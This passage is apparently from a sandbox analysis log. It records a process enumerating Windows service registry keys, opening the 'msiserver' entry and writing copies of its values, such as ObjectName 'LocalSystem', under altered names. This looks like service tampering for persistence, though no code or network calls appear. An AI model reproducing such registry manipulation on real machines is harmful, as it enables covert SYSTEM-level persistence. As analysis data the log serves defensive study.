[0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.876] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.877] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.878] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.879] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.880] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0253.880] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1dd29e0) returned 1 [0253.880] RegCloseKey (hKey=0x154) returned 0x0 [0253.880] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.880] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.880] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0253.880] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.880] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.880] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.880] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.880] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.881] RegOpenKeyExW (in: hKey=0xc8, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0253.881] RegCloseKey (hKey=0xc8) returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0253.881] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0253.881] RegCloseKey (hKey=0x154) returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.881] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.882] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.882] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.882] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.882] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.882] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.882] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.882] RegEnumValueA (in: hKey=0x160, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.882] RegEnumValueA (in: hKey=0x160, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.882] RegEnumValueA (in: hKey=0x160, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.882] RegEnumValueA (in: hKey=0x160, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.882] RegEnumValueA (in: hKey=0x160, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.883] RegEnumValueA (in: hKey=0x160, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.883] RegEnumValueA (in: hKey=0x160, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.883] RegEnumValueA (in: hKey=0x160, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.883] RegEnumValueA (in: hKey=0x160, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.883] RegEnumValueA (in: hKey=0x160, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.883] RegEnumValueA (in: hKey=0x160, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.883] RegEnumValueA (in: hKey=0x160, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.883] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1e708b8*, cbData=0x195 | out: lpData=0x1e708b8*) returned 0x0 [0253.883] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e708b8) returned 1 [0253.883] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0253.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4498) returned 1 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.884] RegEnumValueA (in: hKey=0x160, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.884] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.884] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0253.885] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.885] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.885] RegEnumValueA (in: hKey=0x160, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.885] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.886] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0253.886] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.886] RegEnumValueA (in: hKey=0x160, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", 